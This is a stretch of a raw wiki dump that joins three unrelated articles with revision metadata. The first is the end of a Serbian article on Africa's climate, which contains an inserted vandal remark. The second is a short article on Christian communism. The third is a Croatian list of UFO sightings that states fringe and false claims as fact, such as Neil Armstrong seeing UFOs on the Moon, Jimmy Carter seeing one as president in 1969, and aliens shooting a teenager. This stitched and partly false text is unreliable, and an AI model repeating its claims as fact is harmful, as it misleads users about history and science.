| Dec_sr_min=20 | Dec_sr_maks=29 | God_sr_min=25 | God_sr_maks=34 |}} === Suptropska klima === [[Datoteka:Cape Town and Robben Island seen from Table Mountain.jpg|220px|mini|desno|Kejptaun, JAR]] [[Suptropska klima]] na afričkom kontinentu obuhvata krajnje severozapadne i jugozapadne delove. Odlikuje se toplim i suvljim [[leto|letima]] i prohladnim i svežim [[zima]]ma. Na severnoj polulopti to je predeo Atlaskih planina i uskog priobalja uz pomenuti venac, a na južnoj hemisferi uzan priobalni pojas krajnjeg jugozapadnog dela [[Južnoafrička Republika|JAR]]-a. Mogu se prema tome izdvojiti dva tipa: ''sredozemni'' i ''južnoafrički''. ==== Sredozemni tip ==== Suptropski sredozemni tip obuhvata venac [[Atlas (planine)|Atlasa]] i priobalje [[Maroko|Maroka]], [[Alžir]]a i [[Tunis]]a. Ova regija je pod uticajem saharskog vazduha, pa su južne padine Atlasa, okrenute pustinji suvlje i toplije. Zimi je nad [[Sredozemno more|Sredozemljem]] nizak vazušni pritisak pa zapadni vetrovi donose kišu sa Atlantika. Najviše se izluči u priobalju i severnim podgorinama. Prodor dalje ka istoku sprečavaju planinski venci pa su obale [[Libija|Libije]] i [[Egipat|Egipta]] mnogo sušnije. Leti je iznad Sredozemlja visok vazdušni pritisak i anticiklon donosi suvo i toplo vreme. Tipičan predstavnik klimata je grad [[Alžir (grad)|Alžir]] (prosečna temperatura oko 23&nbsp;°C, a padavine do 700&nbsp;mm). {{Klima_grada |Lokacija=[[Alžir (grad)|Alžir]] |Izvor=<ref>[http://www.worldweather.org/122/c00242.htm Weather Information for Algiers]</ref> | Jan_sr= | Jan_sr_pad=80 | Feb_sr= | Feb_sr_pad=81.8 | Mar_sr= | Mar_sr_pad=73.4 | Apr_sr= | Apr_sr_pad=61.1 | Maj_sr= | Maj_sr_pad=39.9 | Jun_sr= | Jun_sr_pad=16.7 | Jul_sr= | Jul_sr_pad=4.6 | Avg_sr= | Avg_sr_pad=7.4 | Sep_sr= | Sep_sr_pad=34.2 | Okt_sr= | Okt_sr_pad=76 | Nov_sr= | Nov_sr_pad=96.4 | Dec_sr= | Dec_sr_pad=115.2 | God_sr= | God_sr_pad=686.6 | Jan_sr_min=5.9 | Jan_sr_maks=16.5 | Feb_sr_min=6.4 | Feb_sr_maks=17.3 | Mar_sr_min=7 | Mar_sr_maks=18.5 | Apr_sr_min=9 | Apr_sr_maks=20.4 | Maj_sr_min=12 | Maj_sr_maks=23.5 | Jun_sr_min=15.6 | Jun_sr_maks=27 | Jul_sr_min=18.5 | Jul_sr_maks=30.6 | Avg_sr_min=19.1 | Avg_sr_maks=31.2 | Sep_sr_min=17.1 | Sep_sr_maks=29.2 | Okt_sr_min=13.7 | Okt_sr_maks=25.1 | Nov_sr_min=9.6 | Nov_sr_maks=20.7 | Dec_sr_min=7 | Dec_sr_maks=17.2 | God_sr_min=11.7 | God_sr_maks=23.1 |}} ==== Južnoafrički tip ==== Južnoafrički sredozmeni tip obuhvata priobalje oko grada [[Kejptaun]]a i [[Rt dobre nade|Rta dobre nade]] u [[Južnoafrička Republika|Južnoafričkoj Republici]]. Za razliku od sredozmenog, ovaj klimat ima izraženiji maritiman-[[morska klima|okeanski]] karakter, pa su leta svežija, zime blaže, a temperature niže. Zimi u ovoj oblasti prodiru stalni zapadni vetrovi i donose padavine, dok se leti, u januaru regija nalazi pod uticajem visokog vazdušnog pritiska pa su padavine ređe i oskudne. Tipičan predstavnik klimata je Kejptaun (temperature oko 22° [[Stepen celzijusa|Celzijusa]] i padavine do 520 milimetara). {{Klima_grada |Lokacija=[[Kejptaun]] |Izvor=<ref>[http://www.worldweather.org/035/c00138.htm Weather Information for Cape Town]</ref> | Jan_sr= | Jan_sr_pad=15 | Feb_sr= | Feb_sr_pad=17 | Mar_sr= | Mar_sr_pad=20 | Apr_sr= | Apr_sr_pad=41 | Maj_sr= | Maj_sr_pad=69 | Jun_sr= | Jun_sr_pad=93 | Jul_sr= | Jul_sr_pad=82 | Avg_sr= | Avg_sr_pad=77 | Sep_sr= | Sep_sr_pad=40 | Okt_sr= | Okt_sr_pad=30 | Nov_sr= | Nov_sr_pad=14 | Dec_sr= | Dec_sr_pad=17 | God_sr= | God_sr_pad=515 | Jan_sr_min=15.7 | Jan_sr_maks=26.1 | Feb_sr_min=15.6 | Feb_sr_maks=26.5 | Mar_sr_min=14.2 | Mar_sr_maks=25.4 | Apr_sr_min=11.9 | Apr_sr_maks=23 | Maj_sr_min=9.4 | Maj_sr_maks=20.3 | Jun_sr_min=7.8 | Jun_sr_maks=18.1 | Jul_sr_min=7 | Jul_sr_maks=17.5 | Avg_sr_min=7.5 | Avg_sr_maks=17.8 | Sep_sr_min=8.7 | Sep_sr_maks=19.2 | Okt_sr_min=10.6 | Okt_sr_maks=21.3 | Nov_sr_min=13.2 | Nov_sr_maks=23.5 | Dec_sr_min=14.9 | Dec_sr_maks=24.9 | God_sr_min=11.4 | God_sr_maks=22 |}} === Planinski klimat === [[Datoteka:Mount Kenya.jpg|220px|mini|desno|Planina Kenija]] Zbog svog geografskog položaja u odnosu na ekvator, afrički kontinent ne zalazi u umerene i polarne širine, pa se zbog toga ne izdvajaju hladni klimatski pojasevi. Međutim, nešto hladnije oblasti javljaju se na [[planina]]ma zahvaljujući nadmorskoj visini. U tim predelima izdvaja se [[Planinska klima|planinski (subekvatorijlani) klimat]]. Zastupljen je na visoravnima iznad 4.000 metara, kao što su Etiopske planine, [[Kilimandžaro]], [[Ruvenzori]] i [[Kenija (planina)|Kenija]]. Temperature se spuštaju i ispod 0&nbsp;°C noći, a danju se kreću u rasponu od 5-15° Celzijusa. Tokom godine pada [[snijeg|sneg]] i zadržava se nekoliko meseci. Iznad snežne granice snežni pokrivač je prisutan tokom cele godine<ref>{{Cite web |title=Kilimanjaro Weather and Climate |url=http://goafrica.about.com/library/bl.ethiopia.weather.climate.htm |access-date=2015-02-17 |archive-date=2015-02-26 |archive-url=https://web.archive.org/web/20150226130000/http://goafrica.about.com/library/bl.ethiopia.weather.climate.htm |dead-url=yes }}</ref><ref>{{Cite web |title=Ethiopia's Weather and Average Temperatures |url=http://goafrica.about.com/library/bl.ethiopia.weather.climate.htm |access-date=2015-02-17 |archive-date=2015-02-26 |archive-url=https://web.archive.org/web/20150226130000/http://goafrica.about.com/library/bl.ethiopia.weather.climate.htm |dead-url=yes }}</ref>.(Ne vjerujte svemu sto procitate na wikipediji) Klima Afrike je u dalekoj prošlosti bila vlažnija nego danas. Tokom poslednjeg ledenog doba i smene glacijala i interglacijala, kontinent je prolazio kroz sušnije i vlažnije faze. U [[pleistocen]]u je u Čadskoj kotlini postojalo [[jezero]] koje je zahvatalo prostor od današnjeg basena na jugu do kotline [[Bodele]] na severu. Saharom su pre oko 10.000 godine tekle reke sa planinskih vrhova, a danas su u njihovim dolinama suva rečna korita — [[vadi|uadi]]. Savremene klimatske promene u Africi negativno utiču na mnogobrojne aspekte ljudske delatnosti ali i na samu prirodu uopšte. Posledica [[Globalno zagrevanje|globalnog porasta temperature]] utiče na širenje pustinja u severnom delu kontinenta. To proširuje aridni klimat na uštrb vlažnijih predela na obodu. Smanjena količina padavina uzrokuje da brojne manje reke presušuju u toku godine. Sve ovo utiče negativno na poljoprivrednu delatnost stanovništva u Africi. Smanjuju se površine pod plodnim zemljištem, suše su sve češće i sve duže, a prinosi sve manji. Promena klime utiče i na [[biološka raznovrsnost|biodiverzitet]] i [[ekosistem]]e. Mnoge biljne i životinjske vrste ugrožene su porastom temperatura, nedostatkom vode i smanjenjem prirodnih staništa. Manjak pijaće vode i plodnog zemljišta uzrok je potencijalnih [[rat]]ova na prostoru Afrike. Predviđa se da će temperatura do [[21. vek|2100]]. godine porasti za 1,5-4&nbsp;°C.<ref>{{Cite web |title=mpacts of Climate Change - Impacts in Africa |url=http://know.climateofconcern.org/index.php?option=com_content&task=article&id=105 |access-date=2015-02-17 |archive-date=2014-09-20 |archive-url=https://web.archive.org/web/20140920125230/http://know.climateofconcern.org/index.php?option=com_content&task=article&id=105 }}</ref><ref>[http://web.worldbank.org/WBSITE/EXTERNAL/COUNTRIES/AFRICAEXT/0,,contentMDK:22777785~menuPK:2246551~pagePK:2865106~piPK:2865128~theSitePK:258644,00.html World Bank Climate Change Strategy for Africa Calls for Adaptation, Mitigation and Additional Financing]</ref>. == Galerija == <center> <gallery> Datoteka:Libyan Desert - 2006.jpg|Libijska pustinja Datoteka:Sahel forest near Kayes Mali.jpg|Sahelski region Datoteka:Alima - Congo.JPG|Prašuma Konga Datoteka:Mt. Kilimanjaro 12.2006.jpg|Kilimandžaro Datoteka:Lake Malawi00.jpg|Jezero Malavi </gallery> </center> == Povezano == {{col-begin}} {{col-2}} * [[Geografija Afrike]] * [[Temperatura]] * [[Klima]] * [[Zemljina atmosfera|Atmosfera]] {{col-2}} * [[Klimatski elementi]] * [[Klimatski faktori]] * [[Padavine]] * [[Atmosferski pritisak|Vazdušni pritisak]] {{col-2}} {{col-end}} == Reference == {{reflist|2}} == Literatura == * Vujadinović, S. (2009): Regionalna geografija Afrike, Geografski fakultet, Beograd * Grupa autora (2006): Atlas Afrike, Monde Neuf, Ljubljana; (Politika, Beograd) * Mastilo, N. (2005): Rečnik savremene srpske geografske terminologije, Geografski fakultet, Beograd == Vanjske veze == {{Commonscat|Weather and climate of Africa}} * [http://www.our-africa.org/climate Climate our-africa.org]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} {{en}} * [https://www.courses.psu.edu/test/test100_hkr/AFIM/Main_HTML/M_CL.html Africa's Climate] {{Webarchive|url=https://web.archive.org/web/20080329055251/http://www.courses.psu.edu/test/test100_hkr/AFIM/Main_HTML/M_CL.html |date=2008-03-29 }} {{en}} * [http://www.worldweather.org/ WMO Service] {{en}} * [http://www.worldatlas.com/webimage/countrys/afweather.htm Weather in Africa] {{Webarchive|url=https://web.archive.org/web/20150215104036/http://www.worldatlas.com/webimage/countrys/afweather.htm |date=2015-02-15 }} {{en}} * [http://www.africanculturalcenter.org/2_2climates.html African Cultural Center - Climate] {{en}} * [http://www.britannica.com/EBchecked/topic/7924/Africa/37158/Climatic-regions Climatic Region of Africa (Brittanica)] {{en}} * [http://www.climateandweather.com/weather-in-africa Weather in Africa] {{Webarchive|url=https://web.archive.org/web/20140616012158/http://www.climateandweather.com/weather-in-africa |date=2014-06-16 }} {{en}} * [http://africanclimate.net/ African Climate Info] {{en}} [[Kategorija:Klima|Afrika]] [[Kategorija:Geografija Afrike]] dzgoqwjuzoofte802knsrft4663p4h9 0 4029029 42602588 42342980 2026-05-27T18:05:04Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602588 wikitext text/x-wiki '''Hrišćanski komunizam''' je oblik [[Komunizam|komunizma]] na osnovama [[Religija|religije]] [[Hrišćanstvo|hrišćanstva]]. To je teorija [[Teologija|teološki]] i [[Politika|politički]] zasnovana na tumačenju da učenja [[Isus Hrist|Isusa Hrista]] primoravaju hrišćane da podrže komunizam kao idealni društveni sistem. Iako ne postoji opšta saglasnost o tačnom datumu rođenja hrišćanskog komunizma, mnogi hrišćanski komunisti tvrde da [[Biblija]] ukazuje na to da su rani [[hrišćani]], uključujući i apostole sebe smatrali komunistima, oni su uspostavili svoje malo komunističko društvo u godinama posle smrti i vaskrsenja Isusa Hrista. Kao takvu, mnogi zagovornici hrišćanskog komunizma tvrde da je ovoj doktrini učio i sam Isus, a da su ga praktikovali [[apostoli]] u svom životu i učenjima drugih. == Opis == Hrišćanski komunizam se može posmatrati kao radikalni oblik [[Socijalizam|socijalizma]] hrišćana. Komunisti hrišćani jednim delom mogu ali i ne mogu da se slože sa različitim tezama [[Marksizam|marksizma]]. Generalno se ne slažu sa stavovima kojeg se drže anti-verski sekularni marksisti, ali slažu se sa mnogim aspektima ekonomske i egzistencijalne marksističke teorije, kao što je ideja da [[kapitalizam]] eksplatiše [[Radnička klasa|radničku klasu]] od vađenja viška vrednosti iz radnika u obliku profita i da je rad i plata kao posledica rada predstavlja instrument otuđenja koja promoviše proizvoljnu i nepravednu ljutsku vlast. Hrišćanski Komunizam, kao jedan od oblika [[Marksizam|marksizma]], on štaviše tvrdi da kapitalizam podstiče negativne aspekte ljudske prirode i da zanemaruje vrednosti kao što su milost, dobrota, pravda i saosećanja u korist "pohlepe" i "sebičnosti". Hrišćanski komunisti takođe dele neke od političkih ciljeva [[Marksizam|marksista]], na primer zamenu [[Kapitalizam|kapitalizma]] sa [[Socijalizam|socijalizmom]], što bi trebalo da bude praćeno [[Komunizam|komunizmom]] kasnije. Međutim, hrišćanski komunisti ponekad se ne slažu sa marksistima tačnije sa [[Lenjinizam|lenjinistima]], na način kako bi trebalo organizovati socijalističko ili komunističko društva. U principu, hrišćanski komunizam evoluirao je nezavisno od [[Marksizam|marksizma]], većina komunističkih hrišćana i drugih komunista dele iste [[Ideologija|ideološke]] zaključke, ali se u dosta toga i razlikuju naročito po pitanju odnosa [[Marksizam|marksizma]], [[Karl Marks|Karla Marksa]] i [[Fridrih Engels|Fridriha Engelsa]] prema [[Religija|religiji]], koji su ju smatrali „[[opijum naroda|opijumom naroda]]”. == Simbolika == [[Datoteka:Christian communism logo.svg|desno|mini|130px|Nezvanični simbol Hrišćanskog komunizma]] Simbolika Hrišćanskog Komunizma je u osnovi ista kao i [[Marksizam|marksistička]], mada je bilo nezvaničnih simbola koji ukazuju upravo na vezu između [[Hrišćanstvo|hrišćanstva]] i [[Komunizam|komunizma]]. Srp, čekić i krst - to je nezvanični simbol identifikacije hrišćanskog komunizma. Simbol pokazuje klasični [[Srp i čekić|srp i cekić]] sa kosom crtom preko čekić, formirajući krst, ovaj simbol dobija sve više na popularnosti među pristalicama Hrišćanskog komunizma. == Vanjske veze == * [http://www.slp.org/pdf/others/crises_bang.pdf Crises In European History] Socialist Labor Party claims that the early Christian Church practiced "pure communism", pages 23–25, pdf * [http://www.fordham.edu/halsall/mod/1650bradford.html Modern History Sourcebook: William Bradford] From Bradford's journal ''Of Plymouth Plantation.'' * [http://medicolegal.tripod.com/collenstwpmarch1868.htm "Preaching"] {{Webarchive|url=https://web.archive.org/web/20140708180455/http://medicolegal.tripod.com/collenstwpmarch1868.htm |date=2014-07-08 }} {{Komunizam}} [[Kategorija:Komunizam]] [[Kategorija:Religija i politika]] [[Kategorija:Historija kršćanstva]] [[Kategorija:Kršćanski pojmovi]] gcg574a31zlp27kj0pzdzmcz47f9hr0 0 4030227 42602675 42449569 2026-05-28T05:05:41Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602675 wikitext text/x-wiki Slijedi pregled najpoznatijih viđenja, promatranja i zapažanja [[NLO]]-a koji se često eksploatiraju u raznim TV serijama i filmovima. ==16. vijek== *1561.: 14.4. odigrao se [[Nebeski fenomen iznad Nürnberga 1561.]] ==19. vijek== * 1800: 29. ožujka, Prediger Fritch iz [[Quedlinburg]]a uočava malu točkicu kako prelazi preko sunca u 6 sati * 1802: 27. veljače, Prediger Fritch iz Quedlinburga uočava malu točkicu kako prelazi preko Sunca u sjeverozapadnom smijeru i ubrzava * 1839: 2. rujna Cupper vidi pomicanje NLO-a ispred sunca * 1849: 12. ožujka, Sidebotham vidi pomicanje točkice ispred Sunca * 1859. i 1862. također viđenja objekata ispred Sunca od Lescarbaulta Lummisa * 1897.: travanj, legenda da se u gradiću [[Aurora]], [[Teksas]] srušio nepoznati leteći objekt u kojem su mještani pronašli mrtvo tijelo i pokopali ga uz sprovod ==20. vijek== * 1913. i poslije viđenja poznatih Brown Mountain svjetala na nebu u [[SAD]]-u * 1942. 24. i 25. veljače, NLOi iznad [[Los Angeles]]a, poznato kao "[[bitka za Los Angeles]]" Vojska izlazi na ulice, nastaje panika. * 1944. [[Foo Fighters]]i, šarene sfere uočene od vojnih aviona diljem svijeta * 1946 i poslije: Fantomske rakete, objekti sa karakteristikama navodećih raketa uočavane iznad cijele [[Skandinavija|Skandinavije]]- Švedsko min. obrane zabrinuto * 1947. 23. lipanj, incident na otoku Maury SAD, kada su NLOi napali Harolda Dahla koji je sakupljao panjeve. Dahl, njegov sin i pas s bili u čamcu kada je naišlo 6 NLOa ispustilo nekakvu svjetlosnu zraku koja je ubila psa i ranila sina. Idućeg jutra Dahlu je na vrata došao "[[Ljudi u crnom|čovjek u crnom]]" koji mu je zaprijetio da ne priča o tome * 1947.: 24. lipanj, [[Kenneth Arnold]] uočava NLOe i nastaje izraz "leteći tanjuri" * 1947: 4. srpanj, incident u [[Roswell]]u, NLO srušen na ranču kod Roswella, vojska objavljuje da je u pitanju samo meteorološki balon * 1948: zelene lopte prijavljene iznad nekoliko baza američke vojske; slijedi ju zvanična istraga * 1948: 7. siječnja pilot Captain Thomas F. Mantell pogiba dok slijedi NLO * 1948: Incident u Kapustin Yaru gdje je navodno oboren NLO u obliku cigare od strane ruskog [[MiG]]-a * 1949. 20. kolovoza astronom Tombaugh (otkrio [[Pluton (astronomija)|Pluton]]) izjavljuje de je vidio 6 do 8 trokutastih oblika, kod Las Crucesa, [[New Mexico]], govoreći da ne vjeruje da su zemaljskog podrijetla; nakon toga on viđa još mnogo toga kao i "zelene lopte" * 1950. 15. kolovoz, Nick Mariana menađer [[baseball]] lige i njegova sekretarica su provjeravali igralište kada su se pojavila leteća svijetla na nebu koja su uspjeli snimiti kamerom * 1952.: 24. srpnja iznad Carson Sinka u [[Nevada|Nevadi]] (SAD) dva pilota John L. McGinn i John R. Barton sa dičnim vojnim karijerama su bili svjedoci NLO-a dok su upravljali [[bombarder]]om [[B-52]]. Piloti su vidjeli tri sjajne letjelice za koje su prvo pomislili da su F-86 borbeni lovci, ali onda su shvatili da se nalaze previsoko (3300 m) i letjeli su u savršenoj "V" formaciji što je vrlo netipično za vojne zrakoplove. Letjelice su nakon nekog vremena odjurile ogromnom brzinom, a kada su piloti poslije sletjeli saznali su da na nebu nisu letjeli nikakvi civilni ili vojni avioni, slučaj je otišao u poznatu "[[Plava knjiga|Plavu knjigu]]" * 1952: "Washington flap", brojni kontakti sa NLO letjelicama od strane svjedoka i radara u Washingtonu DC. Rezultiralo stvaranjem "[[Robertson Panel]]" protokola od [[CIA]] u kojem sve NLO svjedoke treba izvrgnuti ruglu i diskreditirati NLO grupe * 1953. Američki vojni pilot Felix Moncla nestaje dok lovi NLO * 1954.: Na stotine viđenja NLO-a u Francuskoj, poznato kao "[[French flap]]" * 1954.: tisuće ljudi [[NLO iznad Firence|ugledalo dva NLO-a iznad stadiona u Firenci]] tijekom nogometne utakmice 27.10. * 1954.: prijavljeni nepoznati sateliti u orbiti, upleten i astronom [[Clyde Tombaugh]]. * 1955. [[Kelly-Hopkinsville susret]], grupa nepoznatih bića izašla iz šume i maltretirala obitelj u jednoj kući. Nije bilo krvi već samo isprepadanih ljudi * 1957. Brojni automobili gubili brzinu i zaustavljali se zbog velikih NLOa u Levellandu, Texasu i New Mexicu, poznati kao "1957 flap" * 1959.: 2. veljače- devetero planinara pogiba pod tajnovitim okolnostima u blizini planine Holat Sjahl(mansijski naziv, u prijevodu ''Mrtva Planina''), na području sjevernog [[Ural]]a. Na odjeći žrtava su pronađene značajne količine zračenja. Zbog neobičnog uzroka smrti planinara, te viđenja vatrenih kugli u obližnjem mjestu(Ivdelj), neki istražitelji sumnjaju u upletenost izvanzemaljaca. Događaj je poznat pod nazivom ''[[Incident kod prolaza Djatlova]]''(Dyatlov Pass Incident) * 1961.: 16. rujna [[otmica Betty i Barneya Hill|bračni par Betty i Barney Hill]] tvrdili da su ih bili oteli [[izvanzemaljci]], prvi takav slučaj u javnosti * 1964.: 24. travnja, policajac [[Lonnie Zamora]] tvrdio da je imao bliske kontakte sa vanzemaljcima. Dok je bio u potjeri za nekim motorom oko 17h i 45 min začuo je neku eksploziju u blizini te je odmah otišao u obližnji napušteni spremnik [[dinamit]]a u pustinji. Tamo je vidio nešto što je izgledalo kao auto okrenut naopako i dvije bijele osobe oko njega. Kada su ga primjetila bića su pobjegla u vozilo i poletjela, začulo se tutnjanje i Lonnie se bacio u stranu jer je mislio da će eksplodirati. Letjelice je odletjela iza horizonta * 1965: 9. prosinac [[Kecksburg]] incident- Kecksburg, [[Pennsylvania]], SAD tisuće ljudi gleda veliku sjajnu goreću loptu u barem šest država i Ontariu, Kanadi. Padala je preko [[Detroit]]a, Michigan/Windsor, [[Kanada]] područja, prijave o palim metalnim ostacima preko Michigena i sjevernog Ohia i uzrokovanje soničnih eksplozija u zapadnoj Pennsylvaniji. Generalno mišljenje je da je u pitanju [[Meteor]]. Unatoč tome nekih svjedoci u malom selu Kecksburgu, tvrde da se nešto srušilo u šumu. Neki su vidjeli plavi plamen iz šume i javili policiji. Drugi su vidjeli letjelicu oblika klipa kukuruza, no vojska je tvrdila da je pretražila šumu i ništa nije našla. * 1965: astronaut Frank [[Borman]] fotografira NLO koji je pratio let [[Gemini]]ja 7 * 1967: 19. ožujak Stephen Michalak tvrdi da je susreo NLO koji ga je opržio svojim motorima. Nakon toga bio je bolestan nekoliko mjeseci, no svaki doktor koji ga je pregledao je rekao da nije mentalno bolestan * 1967: 4. listopad Shag Harbor incident- u noći oko 23h 20min javljeno je u medijima da se NLO srušio u vode blizu Shag Harbor, [[Nova Scotia]] (istočna obala Kanade). Barem jedanaest ljudi je vidjelo kako niskoleteći objekt ide prema luci. Brojni svjedoci prijavili eksplozije i zvukove rušenja. Nakon što se srušio objekt je svijetlio i ljudi su odmah poslali ribarske brodove da spase ljude, no letjelica je potonula, a na mjestu gdje je potonula bila je masna, žuta pjena i [[sumpor]]asti miris. Nakon dva dana marinci ronioci pretražuju dno, no nije bilo službene izjave da je išta nađeno * 1969: [[Jimmy Carter]], predsjednik SAD-a vidi NLO na nebu * 1969: [[Neil Armstrong]], astronaut, prijavljuje da je vidio dva NLO-a kada je Apollo 11 sletio na Mjesec * 1971. Delphos, Teksas NLO ostavlja znak na tlu u obliku svjetlećeg prstena * 1973: [[Pascagoula otmica]]- 11. listopada Charles Hickson (42) i Calvin Parker (19) pecaju na rijeci kada nailazi NLO i tri bića ih unose u letjelicu gdje su bili paralizirani 20 minuta dok ih je mehaničko oko skeniralo * 1974: [[Berwyn Mountain incident]]- oko 20h 30min, 23. siječnja viđen veliki disk na nebu iznad Clwyda u Walesu (VB). Mnogi svjedoci pozvali policiju, dolazi vojska i zatvara područje * 1974. [[Jugoslavenski NLO incident 1974.]] * 1975: [[otmica Travisa Waltona]], 5. studenog Travis Walton nestaje na nekoliko dana- vraća se sa pričom da su ga oteli vanzemaljci, piše knjigu o tome koja se adaptira u film * 1976: [[Teheranski NLO incident 1976.]] * 1977: Colares flap, NLO napada stanovnike Brazilskog otoka, sisajući im krv svjetlosnim zrakama- 35 ozljeđenih, otok evakuiran * 1977: august, [[NLO Pan Adria incident]] * 1978: Valentichov nesanak, australski pilot prijavljuje NLO neposredno prije nego što je zauvjek nestao * 1979: Marshall County incident, [[šerif]] prijavljuje čudno sjajno svjetlo koje se sudarilo s njegovim vozilom * 1980: Cash-Landrum Incident, 29. proosinca oko 21 sat troje ljudi se vozilo u autu bluzu Huffmana, Teksas. Kada se od nikud pojavila letjelica oblika dijamanta i sletjela ispred automobila. Trio se zaustavio obilazio letjelicu koja je ispuštala plamenove. Nakon 15 minuta letjelica polijeće i pojavljuju se helikopteri koji ju okružuju. Letjelica odlazi. * 1980: [[Incident u Rendleshamskoj šumi]] - najpoznatiji Britanski NLO incident. Nick Pope, britanski agent i visoki vojni dužnosnik je izjavio da je taj incident veći od onog u Roswellu, uglavnom oko Božića NLO slijeće u šume Suffolka što stvara velike pomutnje, kao panika ljudi, stampeda krava... * 1982: Baikonur Cosmodrome prepad, lansirno mjesto privremeno zatvoreno zbog prepada i sabotaže od strane NLO-a u lipnju * 1985: Tbilisi-viđenje, putnici i piloti sovjetskog putničkog aviona gledaju u čudno svjetlo tijekom leta iz [[Tibilisij]]a u [[Tallinn]], siječanj * 1986: Height 611 UFO Incident, 29. siječanj NLO se srušio u [[Dalnegorsk]]u, [[SSSR]], na brdu. Tri dana kasnije dolazi grupa ufologa na to mjesto koje je spaljeno i jedino pronalaze komad filma, kojeg daju razviti no na njemu nema ništa * 1986: 16. studenog grupa NLO-a prati 50 minuta putnički avion "Japan Air Linesa" let 1628 * 1986.: 17. studenoga-[[incident leta 1628 Japan Air Lines]]. [[Anchorage]], [[Aljaska]] [[japan]]ski pilot So Terauchi koji je pilotirao [[Jumbo Jet]]om na visini od 10,600 metara doživljava susret sa neobičnim letjelicom koja je osvijetlila njegovu kabinu i izvodila nevjerojatne manevre u zraku. To je trajalo oko sedam minuta, kada je otišla; da bi se nakon 5 minuta pojavila letjelica nekoliko desetina puta veća od Jumbo Jeta koji je 70 metara dugačak, obasjana plavom svjetlošću. Kontrolni toranj u Anchorageu nije ništa zamječivao, a letjelica je nakon par minuta nestala i avion je sretno sletio. [http://www.japantoday.com/jp/kuchikomi/443 eng] {{Webarchive|url=https://web.archive.org/web/20070101131458/http://www.japantoday.com/jp/kuchikomi/443 |date=2007-01-01 }} * 1990: [[Belgijski NLO val]], nekoliko masovnih viđenja crnih trokutastih NLO-a u Belgiji, belgijsko ratno zrakoplovstvo ima radarske susrete i objavljuje snimke * 1990: [[Montréal]], [[Québec]], Kanada NLO, 7. studeni, preko 40 ljudi uključujući policiju gleda preko 3 sata u NLO iznad hotela u Montréalu * 1994: 16. rujna, učitelji i više osoblje škole Ariel u [[Ruwa|Ruwi]], [[Zimbabve]] je bilo iznenađeno kada su učenici stari od 5 do 12 godina došli prijaviti da se leteći tanjur spustio na školsko igralište. Znano kao [[Bliski susreti treće vrste u Africi]] * 1996: Varginha incident, poznati brazilski incident kada se srušio NLO u [[Minas Gerais]], Brazil. Višestruka viđenja čudnih bića za koje su neke djevojčice mislile da je vrag u pitanju. Bića viđena i na dječjoj rođendanskoj zabavi, što je navodno inspiriralo redatelja [[Shiamalan]]a za scenu u filmu "Signs" * 1997: [[Mexico City]] snimka NLO-a. * 1997: [[Phoenix]], [[Arizona]] NLO incident, višestruke sporo pomičući svjetlosne formacije iznad metroa u Phoenixu ==21. vijek== * 2001: 29. rujan jedan mađarski vojni pilot je snimio odličan snimak NLO-a iz svog aviona u sred bijela dana iznad [[Budimpešta|Budimpešte]], [[Mađarska]].[http://www.rense.com/general15/pilotufo.htm] * 2004. [[Meksički NLO incident 2004.|Meksička zračna patrola snimila sa infracrvenom kamerom svijetla- NLOe]] * 2005: 27. travnja [[Bijela kuća]] evakuirana kada NLO ulazi u zabranjenu zračnu zonu i nestaje. Objašnjeno kao: "Oblak ili nekoliko ptica" * 2005: NLO-i prijavljeni i snimljeni u Kaufmanu, Teksas * 2005 - Rockaway Beach, Queens NLO je uočen iznad vode blizu nečeg što je izgledalo kao [[nosač aviona]]. Nestalo je brzo kako se i pojavilo * 2005 - [[Woodside]], [[Queens]] Pet letećih tanjura se pojavilo iznad Woodsidea, Queens u studenom 2005. Viđeni su iznad cijelog Queensa i područija [[Manhattan]]a. Nestali su jedan po jedan. * 2005 - [[Oklahoma City]], [[Oklahoma]] Dječak vidi ovalno jako svijetlo kako leti pri velikoj brzini i onda nesaje * 2006 - [[Kent]], Engleska 25. ožujka Ovalna kugla je viđena kako lebdi iznad lokacije u Kentu. Zatim odlazi prema zapadu. [http://www.cgfoundry.com/Edward20.jpg slika] {{Webarchive|url=https://web.archive.org/web/20061020172024/http://www.cgfoundry.com/Edward20.jpg |date=2006-10-20 }} * 2006 - [[London]], Engleska 17. lipnja oko 22 sata u noći, 5 crvenih kugli je viđeno kako leti iznad grada blizu Londona * 2006. 20. rujna Predviđeno slijetanje [[raketoplan]]a Atlantis odgođeno je za jedan dan kako bi posada istražila da li "manji, crni objekt" blizu shuttlea predstavlja nekakvu opasnost, priopćili su u srijedu dužnosnici NASA-e. Posada je objekt primjetila dok su kamerom promatrali Zemlju, utvrdivši da se kreće istom brzinom i istom orbitom kao shuttle. Pretpostavka je bila da je riječ o komadu leda ili dijelu raketoplana koji je otpao prilikom ranijih inspekcija. [http://www.nacional.hr/articles/view/27807 članak] {{Webarchive|url=https://web.archive.org/web/20070927212722/http://www.nacional.hr/articles/view/27807 |date=2007-09-27 }} * 2006. 1. prosinca - [[Sibir]] objavljeno nekoliko članaka da se srušio NLO u području sibirkih šuma i izazvao manji požar <ref>{{Cite web |title=UFO sighting 2006 |url=http://mosnews.com/news/2006/12/01/ufocrash.shtml |access-date=2015-04-21 |archivedate=2007-01-03 |archiveurl=https://web.archive.org/web/20070103150538/http://www.mosnews.com/news/2006/12/01/ufocrash.shtml |deadurl=yes }}</ref> * 2006. 27. listopada- [[Tappen]], [[North Dakota]] U malom gardu SAD-a Tappen, North Dakota jedan je 16-godišnjak ustao u sred noći čuvši čudne zvukove vani i zatekao na njivi dva viskoka vanzemaljca 8 do 9 stopa kako rade nešto stoci. u jednog je ispucao metak iz svoje puške te je ovaj pustio gadan nezemaljski krik, da bi na to drugi vanzemljanin opalio tog dječaka i onesvjestio ga. [http://www.kxma.com/getARticle.asp?ArticleId=59462 eng] {{Webarchive|url=https://web.archive.org/web/20061031124359/http://www.kxma.com/getARticle.asp?ArticleId=59462 |date=2006-10-31 }} * 2006. 7. studenog - [[Chicago]], [[Illinois]] Zaposlenici i piloti aerodroma O'Hare u Chicagu tvrde da su vidjeli ovalni objekt kako lebdi nad jednim od terminala i onda brzo uzljeće gore. * 2007. 27. travnja Knin ( Hrvatska) u 3:30 h primijećen NLO žutog duguljastog oblika kako lebdi 10 minuta nad Kninom tijekom dana isti je primijećen od strane dva pilota nad obalama Velike Britanije * 2011. 20.2.-5.3.: [[Vancouverski NLO incident 2011.]] ==Izvori== {{izvori}} == 